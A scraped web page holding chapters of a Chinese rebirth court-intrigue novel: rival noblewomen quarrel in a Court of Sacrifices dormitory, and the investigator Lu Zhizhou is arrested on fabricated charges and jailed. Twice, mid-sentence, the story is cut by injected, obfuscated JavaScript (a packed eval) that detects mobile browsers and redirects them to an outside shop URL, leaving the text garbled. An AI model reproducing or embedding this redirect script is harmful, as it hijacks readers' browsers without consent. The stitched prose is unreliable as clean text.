从青梅竹马，到兄长身边的宠妃，这里头到底有多少阴差阳错，多少不得已，如今再瞧眼前这个一派天真的小姑娘，倒无端生出一点刻薄的兴味来。 可惜她前世死得早，后头那些风月 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17522341|203151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 官司没来得及看全，如今想起来，竟无端生出一点刻薄的好奇——也不知她死后，宋宴清头上那顶冕冠，到底有没有生出一片郁郁葱葱来。 这念头未免恶毒。 姜绵自己想着都觉好笑，便只在心里冷冷一哂，没露半分在脸上。 再往旁边看，便是陈婉宁。 陈家也不是什么老牌显赫门第，父辈在朝中算不得顶顶出挑，真正替陈家撑起脸面的，是她兄长。 那位陈家郎君是近两年才冒头的后起之秀，文章做得漂亮，差事也办得稳，在京中已有几分名声。 姜绵将几人都在心里过了一遍，越发觉得这同寝一事，怕不是什么巧合的热闹，而是实打实的麻烦。 往后但凡有点风吹草动，怕是想装看不见都难。 她想到这里，抬眼扫了一圈屋里的人，目光在李亦棠、林半夏身上轻轻一顿，又慢慢收了回来。 这香药库里的戏，先前还只在外头唱。 从今夜起，才算真正唱进屋里来了。 林半夏最先发作。嫌恶地拿帕子掩住口鼻，秀眉拧成了一个死结：“这屋里烧的什么劣等木炭，一股子烟熏火燎的呛人气味！还有这床铺，硬得跟青石板一样，是给人睡的吗？” 太常寺规矩森严，新录的女使一律不许带贴身丫鬟伺候。 这群在家中十指不沾阳春水的千金小姐，如今对着一间空荡荡的屋子，自然是浑身不舒服。 李亦棠倒是不显山不露水，仍温声劝道：“林妹妹且忍忍吧。主考女官白日里也说了，香药库不比家中，咱们既然是来当差的，总要守这里的规矩。” 她转过头，视线扫过屋子，最后落在了正在最里头、靠着漏风窗棂的角落里默默收拾行囊的姜绵身上，下巴傲慢地一抬：“喂，那个姓沈的。” 姜绵手里的动作没停。她将被褥抖开，平平整整地铺在硬木榻上，这才转过身，神色平淡地看着她。 “看什么看？”林半夏理所当然地指了指地上的炭盆和水盆，一副指使下人的口吻，“这里就数你出身最低，乡下来的，想必在家里做惯了粗活。去，把那炭盆拨旺些，再去外头院子里打盆热水来，本小姐要净面。” 这话一出，屋里的气氛瞬间冷了下来。 一向娇气地云羡也低着头假装整理包袱，江采采和陈婉宁也各自在一旁眼观鼻鼻观心。 李亦棠则坐在榻边，垂眸拨弄着腰间的玉佩，仿佛根本没听见这边的刁难。 所有人都等着看这个“小县令之女”作何反应。是像个鹌鹑一样忍气吞声去伺候人，还是不自量力地跳脚硬顶。 姜绵立在阴冷的窗边，半张脸隐在昏黄的灯影里。 她没生气，也没急着辩驳，只是轻轻拍了拍袖口沾上的浮灰，声音不大，却在安静的东舍里格外清晰：“林姑娘若是眼花了，明日白日里大可去求医官署的医官开几副明目的药。这屋里统共就站着六个人，皆是今日崔掌库亲自点录的香药库女使。你这声粗活下人的使唤，不知是在叫谁？” 林半夏脸色一变：“你敢顶嘴？！” “不敢。”姜绵抬起眼，目光古井无波地迎上林半夏喷火的视线，语气不疾不徐，“只是好心提醒林姑娘一句。这里是太常寺，不是林府。进了这扇门，便只有品级与差事，没有主子和奴婢。林姑娘若实在娇贵得连脸都自己洗不了，方才女官大人的话犹在耳边——” 姜绵唇角扯出一个极淡的弧度：“现在交还腰牌，卷铺盖回家，还来得及。” 21. 晚潮腥 “半夏。” 就在这剑拔弩张之际，一道温和的嗓音恰到好处地响了起来。 李亦棠站起身，上前稳稳托住了林半夏扬在半空的手腕，不动声色地将她按了回去。 “明日还要早起去拜见库掌，若今夜闹出动静引了女官来，谁的脸上都不好看。” 她转身拿过自己的包袱，取出一只精致的手炉和一包银丝炭，递到林半夏手里，温声安抚：“这屋里的炭确实呛人，你先用我带的。净面的水，我方才已经叫人去外头耳房烧了，一会儿便端进来，你且消消气。” 既然李亦棠发了话，林半夏也不好再揪着人不放，她接了炭，虽还狠狠瞪着姜绵悠哉悠哉步出门的背影，这便借坡下驴，不再作声了。 待屋里那点因林半夏而起的僵气渐渐散了，门外才传来极轻的脚步声。 姜绵端着铜盆进来，盆里盛满了温水热气袅袅往上浮。 她方才去廊下打了水，低头将铜盆搁去架上，又拧了帕子，慢慢擦净了手。 李亦棠这才转过头来，目光落在了姜绵身上，然后随口搭话。 “沈妹妹似是在香之一道颇有研究。” 姜绵没有搭理她，她抿了抿唇，又道：“今后大家同在香药库当差，抬头不见低头见，少不得要仰仗沈妹妹的本事。妹妹初来京城，若在饮食起居上有什么短缺的，或是缺什么合手的器具，尽可同我说，千万莫要见外。” 她话间，没有居高临下的轻蔑，也没有被下了面子的恼怒。 李亦棠看着她，温润的眸子里像是带了几分真切的欣赏。 姜绵侧目与这目光对上，又忙不迭背身挡住。 她不喜这种目光，软硬都不想吃。 “李姑娘谬赞了，不过是乡野间瞎琢磨的粗浅把式，当不起仰仗二字。”姜绵刻意将那声透着拉拢意味的“妹妹”挡在了门外，语气恭敬且疏离，“太常寺一应物什俱全，清荷并不短缺什么，多谢李姑娘美意。” 收拾妥当后，像是连多看她们一眼的兴致都欠奉，端着盆子，转身去廊下泼了。 她脱下绣鞋，吹熄榻边小灯，合衣躺在那张硬邦邦的木榻上，扯过单薄的被褥盖好，翻了个身面朝墙壁，闭上了眼。 “夜深了，明日还要早起当差。诸位若是还不困，便请自便，我要歇息了。” 清冷的嗓音在昏暗的屋子里散开。 几个千金小姐面面相觑，最终只能各自咬碎了牙往肚子里咽，谁也不敢再闹出什么动静。 不多时，便传来了各自窸窸窣窣、笨手笨脚去打水铺床的动静。 翌日天还没大亮，后院里便响起了催起的梆子声。 六人一夜睡得都不算安稳。屋里人多，灯一灭，翻身声、起夜声、解发时珠钗轻碰木案的细响，样样都瞒不过人。 偏偏谁也要撑着体面，早起时一个个又都装得若无其事。 说是新进香药库的人，先不许碰正经香方，只叫从最琐碎的事做起。分拣旧料，誊抄旧册，核对签条，整理文书，再将库中陈旧受潮、串味生蠹的香料一一挑出来，登记后弃去，为后头郊祀备香腾地方。 这一遭，倒与前世一样。 太常寺香药库名头清贵，真做起事来却半点不比旁处轻省。 晨起点卯，日中过半才得歇口气，到了申时末才许散值。 案上无非台账香奁，手里不是签刀就是秤勺，伏案日久，颈酸腕麻，一双眼，早被密密麻麻的旧档磨得昏花。 几个高门养出来的姑娘，哪里受过这般苦楚。 林半夏起先还强撑着体面，只坐了两日，眉头便未曾松开过半分。嫌尘灰沾手，嫌旧册霉气刺鼻，便是裁一张签条，也如同受刑一般。 唯独姜绵，做得最是顺手。 她什么苦没吃过。这般按时点卯、按点散值的差事，于她而言，竟已是安稳。更何况她鼻子灵、手脚利落，分拣旧料总比旁人快上一步，连崔掌库都多打量了她两眼。 这十日里，人人都累得够呛，连拌嘴的心气都被磨得干干净净，谁也顾不上寻谁的不痛快。 一到申时散值，一个个肩酸眼涩，回舍后只想赶紧洗漱，早早把自己摔在榻上。 连林半夏那张嘴，都难得消停了许多。李亦舒既没进来，自然也无人挑头生事。屋里虽住了六个人，竟也意外太平了十日。 直到第十日夜里，屋里才算真正热闹了一回。 那日散值得比平常早些。 六人回舍后，各自洗漱完，窗外夜风正好，吹得竹帘轻轻晃动。 云羡靠着榻边小口小口喝热汤，喝到一半，也不知是谁先提了一句“若早早嫁人，哪里还要受这等罪”，屋里顿时静了静，随即便像捅破了什么似的，连日积下来的倦意都被冲散了几分。 姑娘家凑在一处，说来说去，总绕不过那点心思。 先是云羡红着脸笑，说自己还小，家里不许她多想。陈婉宁便也跟着笑，只说许家近来管得严，兄长行事小心，她母亲怕她说错一句话，恨不能把她舌头都拘起来。 林半夏听到这里，忽地把手里的帕子一搁，眉梢都扬了起来。 “这有什么好藏的。”她往榻上一靠，语气里尽是得意，“我家里都替我看好了。如今还在腊月，等正旦那日，便安排我去相看。” 云羡眼睛一亮，凑了过去：“谁家公子呀？” 林半夏故意卖了个关子，目光从几人脸上一一扫过，像是很享受这般瞩目之感。 半晌，她才慢悠悠吐出一句：“说出来，怕是要羡慕死你们——可是一表人才的探花郎！” 屋里静了一瞬。 陈婉宁先抬了眼，语气里带了点不确定：“哪个探花郎？不会姓陆吧？” 李亦棠原本正低头解腕上的银镯，闻言动作微顿，抬起眼来：“你说的是……陆知舟？” “除了他还能有谁？”林半夏越说越得意，连眼角眉梢都带了光，“芝兰玉树，文采斐然，满汴京如今谁不夸一句小陆大人？若真让我拿下了他，我立时便辞了这女使的苦差事，回府备嫁去。” 她说得毫不遮掩，像那桩好姻缘已经有一半落进了自己手里。 这才几日？ 前脚她刚冷嘲热讽完陆知舟，后脚这厮竟成了这同舍贵女口中的香饽饽。 姜绵眯起了眼。 事情一下子有意思起来了。 前世陆知舟与李亦棠本就是青梅竹马，谁瞧了都当他将来要娶李家女。 若按这个旧路数走，他爱慕李亦棠这里原该是顺理成章的事。可如今林半夏家里也盯上了他，瞧那得意样子，竟像是十拿九稳。 这陆知舟，前世有这般风流么？ 她这头刚在心里转过一遭，那头李亦棠却轻轻怔了一下。 “倒巧。”她面色薄淡，“家中前日也传了话来，说小寒那日，叫我与他见一面。” 这一下，屋里猝然陷入一阵死寂。 林半夏脸上的笑僵住，半晌才扯动嘴角，干巴巴地挤出一句：“李姑娘……说笑吧？” “这种事，我何必说笑。”李亦棠眼皮都没抬。 云羡捧着汤碗的手猛地一顿，半口汤险些呛在嗓子眼。她慌忙拿丝帕掩住唇角，一双杏眼却不受控制地在林半夏僵硬的脸和李亦棠清冷的眉眼间兜了一圈，眼底全是压不住的兴味。 陈婉宁则在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17535214|203151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两人脸上来回看了两遭，显然是想说什么，又觉得不妥，只好把话咽了回去。 姜绵也微微一怔。 前世陆知舟与李亦棠不是早有往来，两家更是时常走动吗？为何如今两家长辈还要特意安排相看？ 陆知舟属意李亦棠，应当是毋庸置疑的才对…… 姜绵压下心底的狐疑，故作懵懂地轻声开了口：“既然都说是家中长辈的意思，想必两家平日里定是常走动的。怎么……李姐姐同那位陆探花，难道长这么大，都不曾见过面么？” 她这话问得看似随口，却分明带着试探之嫌。 李亦棠她抬起眼，平静地扫过姜绵那张“无辜”的脸：“男女七岁不同席。年幼时两家虽走动得勤，但自他入国子监进学后，便再无见面，我们两家门规森严，自然要避嫌。” 她顿了顿，下巴微扬：“长辈定下的相看，本就是明媒正娶的过明路。莫非在沈妹妹看来，非要私下见过了，才算相熟？” 这话回得滴水不漏，既给自己寻了个体面台阶，还不动声色地把姜绵这个不懂规矩的“乡野丫头”给敲打了一番。 “是清荷见识浅，一时多嘴，李姑娘莫怪。”姜绵似被吓住，慌忙垂首，单薄的肩头往里瑟缩。 可垂下的鸦睫掩映间，却漾开一抹冷嗤。 欲盖弥彰。 若真有底气，凭李亦棠的心性，何至于屈尊降贵同她一个乡野村姑费这么多口舌？ 一旁的林半夏也听出了破绽，方才僵死的脸色瞬间活泛过来。 她执帕掩唇一笑，语气里的酸刻几乎溢出来：“我当是什么青梅竹马的情分，闹了半天，原来李姑娘也有好些年没见过小陆大人了啊。既是长辈安排的相看，皆是同一起步，并无高下之分。左不过年后走个过场，到时谁能入小陆大人的眼，还不一定呢。” 李亦棠冷冷瞥她一眼，似觉多言跌份。只褪下腕间银镯，随手抛进妆匣。 “啪嗒。”一声脆响，掐断了话头。余下几人面面相觑，各自埋头理着手边的杂物，装聋作哑。 角落里，姜绵将这一切尽收眼底，心里的疑团却越滚越大。 不对劲。实在太不对劲了。 在她前世的记忆里，陆、李两家压根就不曾有过什么大张旗鼓的“相看”。陆知舟与李亦棠，分明是自幼便看着彼此长大的。 前世李府的繁花宴上，她亲眼见过那两人站在一处时的熟稔与亲昵，那绝不是经年未见、靠长辈牵线搭桥才能见上一面的生分模样。 可如今，两人竟是经年未见，连见一面，都要靠家中长辈去安排。 以陆知舟对李亦棠的偏爱，若他当真还如前世那般死心塌地地心悦李亦棠，怎会任由她在这群待选的贵女中被林半夏挤兑？ 除非…… 姜绵脑中掠过那人凉薄冷戾的眉眼，唇角微不可察地扯了扯。 这一世或许有了变数，陆知舟或许未必甘心给谁当现成的乘龙快婿。 但这也只是猜测。在这吃人的汴京城，自以为是死得最快。 保不准小寒那日真正见了面，他依旧如前世那般被迷了眼，从此对李亦棠情根深种，也犹未可知。 正想着，一直没怎么插话的江采采忽然轻声开了口。 “可是……”她看看林半夏，又看看李亦棠，语气里带了点迟疑，一句话好似平地惊雷：“为何我听家父说起……那位小陆大人，眼下正被押在纠察刑狱司的诏狱里，生死未卜？” 林半夏脸色一变：“什么？” 李亦棠也猛地抬了眼。 姜绵更是一下坐直了身子，方才那点看热闹的闲散顷刻散尽。 “什么？” 22. 败絮味 却说十日前姜绵与陆知舟分别后。 车厢里一下静了许多，只余车轴转动时压出来的轻响。 陆知舟垂着眼，指腹缓缓碾过扳指边缘，过了半晌，才淡声开口：“事情可安排妥当了？” 车外的晓康立时收了闲散的神色，声音也正了几分：“回主子，都已安排下去了。急信昨夜便借暗桩的手送进了章大人府里，另一份口供也已递到人手中。就算咱们手里那份文书在江中泡烂了，也不碍事。” 陆知舟“嗯”了一声，脸色却没松。 那份被江水浸透字都糊掉的卷宗，本就是备份。 自打在青阳县查出那条线不对，他便已留了后手。一份带在身边，一份由晓康借着暗卫暗中急送回京。若他能平安回城，自可顺势收网，若他回不来，那封信落到章昭手里，也足够把这潭水先搅起来。 哪怕一向顺风顺水如他，也会做两手准备。 “主子，您身上的伤还需静养，”晓康看了一眼前方巍峨的城墙，请示道，“物证既已安全送达，咱们是回榆林巷还是先回本府？” “回本府罢。”陆知舟下令。 晓康应下，随后叹了口气：“老夫人和老相公若是见您这般模样回来，定是要心疼坏了……” 马车平稳地驶向汴京城的朝阳门。 越是靠近这大宣的心脏，那股浓烈的红尘烟火气便越是扑面而来。城门内外，人声鼎沸，车水马龙。 茶坊酒肆里传出热闹的丝竹管弦之声。宽阔的青石板街两侧，彩楼欢门鳞次栉比，酒旆在凛冽的寒风中迎风招展。 那些个世家公子，悠哉的游人食客，将这座京城点缀得宛如烈火烹油般繁华锦绣。 车厢内，陆知舟安静地听着外头鼎沸的人声，闻着顺着车帘缝隙钻进来的甜腻的脂粉与肉香。 这极尽奢靡的汴京城，与江南那饿殍遍野、惨烈的泥淖，生生割裂成了两个毫不相干的世界。他嘲弄地扯了扯唇角，重新阖上了双眼。 为了避人耳目，晓康压低了斗笠，避开了达官贵人云集、拥堵的中央御街，专挑着那些幽深曲折的巷弄穿行。 就在马车七拐八绕，终于驶离了喧闹的市井，平稳地转入鲁国公府所在的那条清贵幽静的长街时。 一队玄衣吏役已横刀拦在车前。 晓康不得不勒马停车。 为首那人骑在马上，官帽压眉，鼻梁瘦削，唇边带着一抹惯常的冷笑。 “陆校勘这一趟，回来得倒比我想的要快。” 车内，陆知舟眼皮一掀。 晓康脸色先变了：“纠察刑狱司的？” 为首之人，正是新上任的纠察刑狱司指使，刘综。 晓康下意识便往车前一横，沉声道：“刘大人拦车，所为何事？” 刘综没理他，只盯着晓康身后的马车。 他声音拔高了几分，足够叫周围来往的行人，以及不远处鲁国公府门前的守卫都听个清楚：“陆校勘，你假借搜访遗书之名，南下构陷越州知州苏怀义，伪造罪证、逼死人命！” “今奉命拿你回司听鞫，就是要查清你构陷忠臣、祸乱朝纲、图谋不轨之罪！ “——小陆大人，是自己下来，还是要本官请你下来？” 构陷大臣，意图构乱。 这等要命的重罪死死砸下，周遭驻足张望的百姓顿时倒吸一口凉气。 前方不远处，鲁国公府那两扇巍峨的朱漆大门已闻声洞开。 府内的老管事带着二三十个护院家丁急匆匆地迎了出来，可一见这明晃晃的玄衣刀阵，惊得脸色煞白，僵立在台阶之上，气氛剑拔弩张。 车厢里静了片刻。 陆知舟安静地靠在车壁上。听着刘综那义正辞严的叫嚣，他那双深邃的黑眸里，不仅没有半分惊慌，反而溢出了一丝讥诮。 这么大一口锅就这么直挺挺落下来，连早有预料的他都有些讶然。 这刘综是真觉得自己举世皆浊我独清，玩起不畏强权那套了。 陆知舟在脑中搜刮了一下自己对刘综的印象。 刘综确实出身寒微，素来厌恶世家做派，但他今日这般底气十足地堵在国公府门前，却绝非全然出于私愤。 这头莽夫，定是被幕后黑手抛出的假证物给彻底误导了，反倒把他陆知舟当成了那只中饱私囊，祸乱江南的贪腐巨蠹，眼下正自以为正义地来“替天行道”呢。 下一瞬，一只修长苍白的手挑开了车帘。 陆知舟披着鸦青色大氅，缓缓走下车来。 他伤还没好全，脚步虚浮，那张脸因失血与旧伤仍带着病色，眉眼间的清贵却半点未损，反倒被这几分苍白衬得更冷。 他抬眸看向刘综，眼底没什么波澜：“刘指使好大的威风。” 刘综最厌恶陆知舟这副样子。 江南百姓易子而食，这世家公子却在地方上搅弄风云，中饱私囊，如今死到临头，竟还能端着这副波澜不惊的样子，高高在上地看着他这个拼死查案的清流。 刘综强压下心头的反胃，冷笑道：“奉命办案，谈不上威风。” 陆知舟看得明白，面上却不点破，只淡声道：“奉命？奉了谁的命？” “自然奉按朝廷的王法办事！” 刘综冷哼一声，手腕一翻，凌厉地亮出一道盖了官印的文书，直逼陆知舟面门，“睁大眼睛看清楚！御史台已有数道风闻参奏的折子递了上去，参你构陷朝堂命官、意图构乱。如今我纠察刑狱司堂帖已下，拿你回司听审，合情、合理、合法！” 风闻参奏，纠察刑狱司堂帖。 晓康一抬头，看清了那堂帖上的印信，原本愤怒的脸色骤然大变，眼底满是如吞了苍蝇般的鄙夷，无疑是被恶心到了。 御史台的“风闻言事”最是恶心人，全凭言官几道捕风捉影的折子，纠察刑狱司便能名正言顺地拿人审问。 对方这是钻了朝廷律法的空子，设了个让人根本无法当街脱身的局等他们主子钻呢！ 若是在此时拔剑，那便是公然暴力抗法，本没有的罪名也得当场坐实了！ 刘综面色阴寒：“陆知舟，堂帖在此。你若识相，便老老实实同我走一趟，免得当街拉扯，闹得你鲁国公府的百年门楣蒙羞！” 晓康听得火气直冲脑门，忍不住喝道：“什么证据确凿？我家主子在外险些连命都没了，你们不去查谁下的手，倒先拦着主子问罪？” “本官奉纠察刑狱司堂帖、兼牒台旨办案，乃是依律拿人！岂容你一个低贱奴仆在此狂吠阻拦！”刘综冷冷瞥了他一眼。 “你——！”晓康咬紧牙关，手已经死死按到了剑柄上，半寸剑锋已擦出剑鞘。 不远处，鲁国公府的老管事见状，赶忙摆手示意身旁的家丁回去禀报。 晓康手已经按到了剑柄上。 陆知舟却抬手，轻轻压住了晓康的手腕，将那半寸出鞘的剑锋无声地推了回去。 他掀起眼皮，目光平淡地扫过刘综那张写满防备与戾气的脸，忽然轻浅地笑了一下。 “刘指使这般如临大敌做什么。”陆知舟慢条斯理地垂下双手，将沾了些许寒气的宽大袖摆理顺，“既然是奉命办事，我跟你走一趟便是。” 刘综猛地一怔。 他本以为，这位向来心高气傲的世家公子被逼到门前，怎么也会据理力争地辩驳几句，甚至搬出鲁国公府的显赫招牌来压他。 他连后续如何当街折辱，如何用王法强行拿人的说辞都已经在腹中演练了无数遍。 可陆知舟这轻飘飘的一句“跟你走一趟”，反倒像是一拳无力地打在了棉花上，让他蓄满的力道全数落空，竟没来由的叫他气不打一处来。 “主子！”晓康急了。纠察刑狱司的大牢是什么吃人的地方？主子背上那深可见骨的刀伤还没结实，进去那阴寒的地方，不死也要脱层皮！ “闭嘴，回府去。”陆知舟没有回头，只拿余光冷淡瞥了晓康一眼。 那一眼里藏着些许叮嘱。晓康跟了他这么久，瞬间明白过来——主子这是故意的。 当街抗法，会落人口实，顺水推舟，才能引蛇出洞。 “带路吧，刘指使。”陆知舟拢紧了身上的鸦青色大氅，在一众吏役戒备的环伺下，从容地迈开了步子。 …… 晓康有句话说的不错。 纠察刑狱司的地字号暗牢，向来是个进去就得脱层皮的活阎王殿。 可陆知舟被关进去之后，事情的发展却诡异地走向了另一个极端 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陆知舟垂眸一扫，配合地倒吸了一口凉气。 那张清隽的脸上瞬间浮现出刻板的惊讶：“竟有此事？陆某当真是无比震惊！” 陆知舟无辜地摊了摊手。 推官则无语地保持沉默。 两人大眼瞪小眼地对视了半晌，场面十分滑稽且毫无建树。 推官只能颓丧地抹了把脸，叹着气退出了牢房。 就这么荒诞地在牢里耗了整整十五日。 最初几日，推官还来例行公事地尬聊两句，到后来，竟是连个人影都没了，好似整个纠察刑狱司都默契地把他遗忘在了这间大牢里。 甚至连本该护短的鲁国公府，也仿佛忘了他这个嫡孙的死活，闭门谢客，岿然不动。 然而，在这诡异的平静中，陆知舟那双深邃的黑眸，却一点点彻底沉了下来。 不对劲。 算算时日，晓康暗中递回京城的那份真账册，早在他入狱前就已稳妥送到了章昭手里。 章昭的为人和手段他是知晓的，他该靠谱的时候还是靠谱的，可这整整十五天的功夫，那份折子早该被他拼死呈到圣上的御案头上了！ 一旦天子见了真章，知道江南的赈灾粮被贪墨得所剩无几，导致江南暴乱，朝堂上早该掀起恐怖的腥风血雨。 那些拿假证迫切想要钉死他的幕后黑手，也早该被帝王之怒逼得狗急跳墙了。 就在陆知舟沉眸盘算之际，暗牢走廊的深处，忽然传来一阵杂乱而急促的脚步声。 紧接着，“哐当”一声巨响，精铁铸就的牢门被人粗暴地一脚踹开。 来人一身暗红色的官服，面容阴沉得仿佛能滴出水来，正是奉命查办此案、却连日来被这份“假口供”架在火上烤的刘综。 刘综大步迈进牢房，刚一跨入门槛，便被迎面扑来的银丝炭暖意烘了个正着。 他再定睛一看，只见本应该戴枷受刑、凄惨不堪的陆探花，正衣冠楚楚地靠在干净的草垛上，手边甚至还搁着一盏冒着热气的清茶。 这哪里是在蹲暗牢？这分明是在纠察刑狱司里闭关修身呢！ 刘综气极反笑，猛地转头，指着身后那个抖如筛糠的牢头破口大骂：“废物！一群只知道看门第下菜碟的窝囊废！朝廷设这地字号暗牢，是让你们来供活祖宗的吗？！” 牢头扑通一声跪下，连连磕头，声音里带着哭腔：“刘大人息怒啊！这……这可是鲁国公府的嫡孙，又没有万岁的明旨死罪，下官们就是有十个胆子，也实在不敢擅自动大刑啊……” “你们不敢动？好，好得很！” 刘综咬着后槽牙冷笑出声，几步走到刑具架旁，一把扯下墙上挂着的那条浸过盐水、暗红发黑的牛皮鞭。 他攥着鞭柄，用力在半空中甩了一记响鞭。“啪”的一声脆响，瞬间撕裂了牢房里连日来的死寂。 刘综缓缓转身，阴鸷目光死死盯着陆知舟，听得他咬着字道：“他们怕你鲁国公府百年权势，我刘某人可不怕！你这等目无王法、草菅人命的国贼，人人得而诛之！今日我便亲手扒了你这层富贵体面，看你还能嘴硬到几时！”